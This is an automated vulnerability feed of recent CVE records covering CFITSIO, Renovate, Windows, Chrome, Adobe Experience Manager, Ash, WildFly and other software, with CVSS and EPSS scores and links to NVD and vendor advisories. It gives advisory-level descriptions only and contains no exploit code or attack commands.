NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the imcompress.c unquantize helpers that allows attackers to read memory before the fits_rand_value...
https://kevwire.com/record/CVE-2026-111124
CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the imcompress.c unquantize helpers that allows attackers to read memory before the fits_rand_value... (Oct 15, 2026).
CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the imcompress.c unquantize helpers that allows attackers to read memory before the fits_rand_value table via a zero or negative ZDITHER0 seed. Attackers can supply a crafted FITS file with a SUBTRACTIVE_DITHER_1 compressed image, read through fits_open_file() and fits_read_pix(), to cause crashes or leak heap contents in decoded pixels.
CVSS 6.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111124).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111124&date=2026-10-25).
Sources:
NVD CVE-2026-111124: https://nvd.nist.gov/vuln/detail/CVE-2026-111124
Vendor advisory (via NVD references): https://hackmd.io/@haind-pwn/cfitsio-zdither0-dither-seed-oob-read
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111124&date=2026-10-25
CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the imcompress.c unquantize helpers that allows attackers to read memory before the fits_rand_value table via a zero or negative ZDITHER0 seed. Attackers can supply a crafted FITS file with a SUBTRACTIVE_DITHER_1 compressed image, read through fits_open_file() and fits_read_pix(), to cause crashes or leak heap contents in decoded pixels.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repository users to evade the allowedHeaders restriction by placing hostRules headers inside shared...
https://kevwire.com/record/CVE-2026-110865
Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repository users to evade the allowedHeaders restriction by placing hostRules headers inside shared... (Oct 14, 2026).
Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repository users to evade the allowedHeaders restriction by placing hostRules headers inside shared presets. Attackers can supply internal or externally sourced presets with unvalidated hostRules[].headers to inject custom HTTP headers into requests Renovate sends to other hosts.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110865).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110865&date=2026-10-25).
Sources:
NVD CVE-2026-110865: https://nvd.nist.gov/vuln/detail/CVE-2026-110865
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110865&date=2026-10-25
Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repository users to evade the allowedHeaders restriction by placing hostRules headers inside shared presets. Attackers can supply internal or externally sourced presets with unvalidated hostRules[].headers to inject custom HTTP headers into requests Renovate sends to other hosts.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Picketlink Federation SAML; the unsolcited response handler would accept forged assertions with no verification or validation, permitting an unauthed attacker...
https://kevwire.com/record/CVE-2026-10579
A flaw was found in Picketlink Federation SAML; the unsolcited response handler would accept forged assertions with no verification or validation, permitting an unauthed attacker... (Aug 11, 2026).
A flaw was found in Picketlink Federation SAML; the unsolcited response handler would accept forged assertions with no verification or validation, permitting an unauthed attacker to authenticate as any principal in any role. This could lead to information disclosure, access to restricted operations, or other flaws.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10579).
Sources:
NVD CVE-2026-10579: https://nvd.nist.gov/vuln/detail/CVE-2026-10579
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
A flaw was found in Picketlink Federation SAML; the unsolcited response handler would accept forged assertions with no verification or validation, permitting an unauthed attacker to authenticate as any principal in any role. This could lead to information disclosure, access to restricted operations, or other flaws.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Strongholdthemes Dental Care CPT dentalcare-cpt allows Object Injection.This issue affects Dental Care CPT: from n/a before 21.6.
https://kevwire.com/record/CVE-2025-69035
Deserialization of Untrusted Data vulnerability in Strongholdthemes Dental Care CPT dentalcare-cpt allows Object Injection.This issue affects Dental Care CPT: from n/a before 21.6. (Jan 22, 2026).
Deserialization of Untrusted Data vulnerability in Strongholdthemes Dental Care CPT dentalcare-cpt allows Object Injection.This issue affects Dental Care CPT: from n/a before 21.6.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-69035).
Sources:
NVD CVE-2025-69035: https://nvd.nist.gov/vuln/detail/CVE-2025-69035
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
Deserialization of Untrusted Data vulnerability in Strongholdthemes Dental Care CPT dentalcare-cpt allows Object Injection.This issue affects Dental Care CPT: from n/a before 21.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows NTFS allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-96867
Out-of-bounds read in Windows NTFS allows an authorized attacker to execute code locally. (Oct 13, 2026).
Out-of-bounds read in Windows NTFS allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96867).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96867&date=2026-10-25).
Sources:
NVD CVE-2026-96867: https://nvd.nist.gov/vuln/detail/CVE-2026-96867
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96867
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96867&date=2026-10-25
Out-of-bounds read in Windows NTFS allows an authorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Performance in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113344
Use after free in Performance in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Performance in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113344).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113344&date=2026-10-25).
Sources:
NVD CVE-2026-113344: https://nvd.nist.gov/vuln/detail/CVE-2026-113344
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113344&date=2026-10-25
Use after free in Performance in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-105010
Use after free in Microsoft Windows Search Component allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an unauthorized attacker to elevate privileges over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105010).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105010&date=2026-10-25).
Sources:
NVD CVE-2026-105010: https://nvd.nist.gov/vuln/detail/CVE-2026-105010
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105010
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105010&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an unauthorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96868
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96868).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96868&date=2026-10-25).
Sources:
NVD CVE-2026-96868: https://nvd.nist.gov/vuln/detail/CVE-2026-96868
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96868
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96868&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect default permissions in Windows Server Update Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-105009
Incorrect default permissions in Windows Server Update Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Incorrect default permissions in Windows Server Update Service allows an authorized attacker to elevate privileges locally.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105009).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105009&date=2026-10-25).
Sources:
NVD CVE-2026-105009: https://nvd.nist.gov/vuln/detail/CVE-2026-105009
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105009
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105009&date=2026-10-25
Incorrect default permissions in Windows Server Update Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user, potentially...
https://kevwire.com/record/CVE-2026-105895
Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user, potentially... (Oct 13, 2026).
Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105895).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105895&date=2026-10-25).
Sources:
NVD CVE-2026-105895: https://nvd.nist.gov/vuln/detail/CVE-2026-105895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105895&date=2026-10-25
Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authorization Bypass Through User-Controlled Key vulnerability in ash-project ash allows a user of one tenant to read, overwrite and take over another tenant's records via an...
https://kevwire.com/record/CVE-2026-96581
Authorization Bypass Through User-Controlled Key vulnerability in ash-project ash allows a user of one tenant to read, overwrite and take over another tenant's records via an... (Oct 26, 2026).
Authorization Bypass Through User-Controlled Key vulnerability in ash-project ash allows a user of one tenant to read, overwrite and take over another tenant's records via an upserting create action.

Under attribute multitenancy, Ash.Actions.Create (lib/ash/actions/create/create.ex) and Ash.Actions.Create.Bulk (lib/ash/actions/create/bulk.ex) upserted on the primary key, or on an all_tenants? identity, without scoping the conflicting record to the request's tenant. A caller of a create action with upsert? true that accepts the primary key, supplying a record id from another tenant, updated that record's upsert fields and received all of its attributes in the result. With the default upsert fields the tenant attribute was written too, moving the record into the caller's tenant. Read and update policies do not run for upserts, and tenant-scoped create policies pass because the tenant is the caller's own.

This issue affects ash: from 1.22.0 before 3.37.2.
CVSS 7.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96581).
Sources:
NVD CVE-2026-96581: https://nvd.nist.gov/vuln/detail/CVE-2026-96581
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Authorization Bypass Through User-Controlled Key vulnerability in ash-project ash allows a user of one tenant to read, overwrite and take over another tenant's records via an upserting create action.

Under attribute multitenancy, Ash.Actions.Create (lib/ash/actions/create/create.ex) and Ash.Actions.Create.Bulk (lib/ash/actions/create/bulk.ex) upserted on the primary key, or on an all_tenants? identity, without scoping the conflicting record to the request's tenant. A caller of a create action with upsert? true that accepts the primary key, supplying a record id from another tenant, updated that record's upsert fields and received all of its attributes in the result. With the default upsert fields the tenant attribute was written too, moving the record into the caller's tenant. Read and update policies do not run for upserts, and tenant-scoped create policies pass because the tenant is the caller's own.

This issue affects ash: from 1.22.0 before 3.37.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak Password Recovery Mechanism for Forgotten Password vulnerability in HAVELSAN Inc.
https://kevwire.com/record/CVE-2026-94380
Weak Password Recovery Mechanism for Forgotten Password vulnerability in HAVELSAN Inc. (Oct 26, 2026).
Weak Password Recovery Mechanism for Forgotten Password vulnerability in HAVELSAN Inc. Liman MYS allows Password Recovery Exploitation.

This issue affects Liman MYS: from 2.3.4-1124 before 2.3.5-1131.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94380).
Sources:
NVD CVE-2026-94380: https://nvd.nist.gov/vuln/detail/CVE-2026-94380
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Weak Password Recovery Mechanism for Forgotten Password vulnerability in HAVELSAN Inc. Liman MYS allows Password Recovery Exploitation.

This issue affects Liman MYS: from 2.3.4-1124 before 2.3.5-1131.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in WildFly. A user with the `Monitor` role, which is the lowest standard Role-Based Access Control (RBAC) role, can exploit a path traversal vulnerability in the...
https://kevwire.com/record/CVE-2026-84823
A flaw was found in WildFly. A user with the `Monitor` role, which is the lowest standard Role-Based Access Control (RBAC) role, can exploit a path traversal vulnerability in the... (Oct 16, 2026).
A flaw was found in WildFly. A user with the `Monitor` role, which is the lowest standard Role-Based Access Control (RBAC) role, can exploit a path traversal vulnerability in the `take-snapshot` operation. By manipulating the `name` parameter, this user can write a copy of the server configuration to an arbitrary location. This allows the `Monitor` role to read back the server configuration, including sensitive credentials, which would otherwise be restricted by RBAC, leading to information disclosure.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84823).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84823&date=2026-10-25).
Sources:
NVD CVE-2026-84823: https://nvd.nist.gov/vuln/detail/CVE-2026-84823
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84823&date=2026-10-25
A flaw was found in WildFly. A user with the `Monitor` role, which is the lowest standard Role-Based Access Control (RBAC) role, can exploit a path traversal vulnerability in the `take-snapshot` operation. By manipulating the `name` parameter, this user can write a copy of the server configuration to an arbitrary location. This allows the `Monitor` role to read back the server configuration, including sensitive credentials, which would otherwise be restricted by RBAC, leading to information disclosure.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Electronic delivery item Inspection Support System provided by Japan's Ministry of Land, Infrastructure, Transport and Tourism contains an improper file access permission...
https://kevwire.com/record/CVE-2026-113345
Electronic delivery item Inspection Support System provided by Japan's Ministry of Land, Infrastructure, Transport and Tourism contains an improper file access permission... (Oct 26, 2026).
Electronic delivery item Inspection Support System provided by Japan's Ministry of Land, Infrastructure, Transport and Tourism contains an improper file access permission vulnerability. Files in the installation folder of the application may be tampered with, resulting in arbitrary code execution.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113345).
Sources:
NVD CVE-2026-113345: https://nvd.nist.gov/vuln/detail/CVE-2026-113345
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
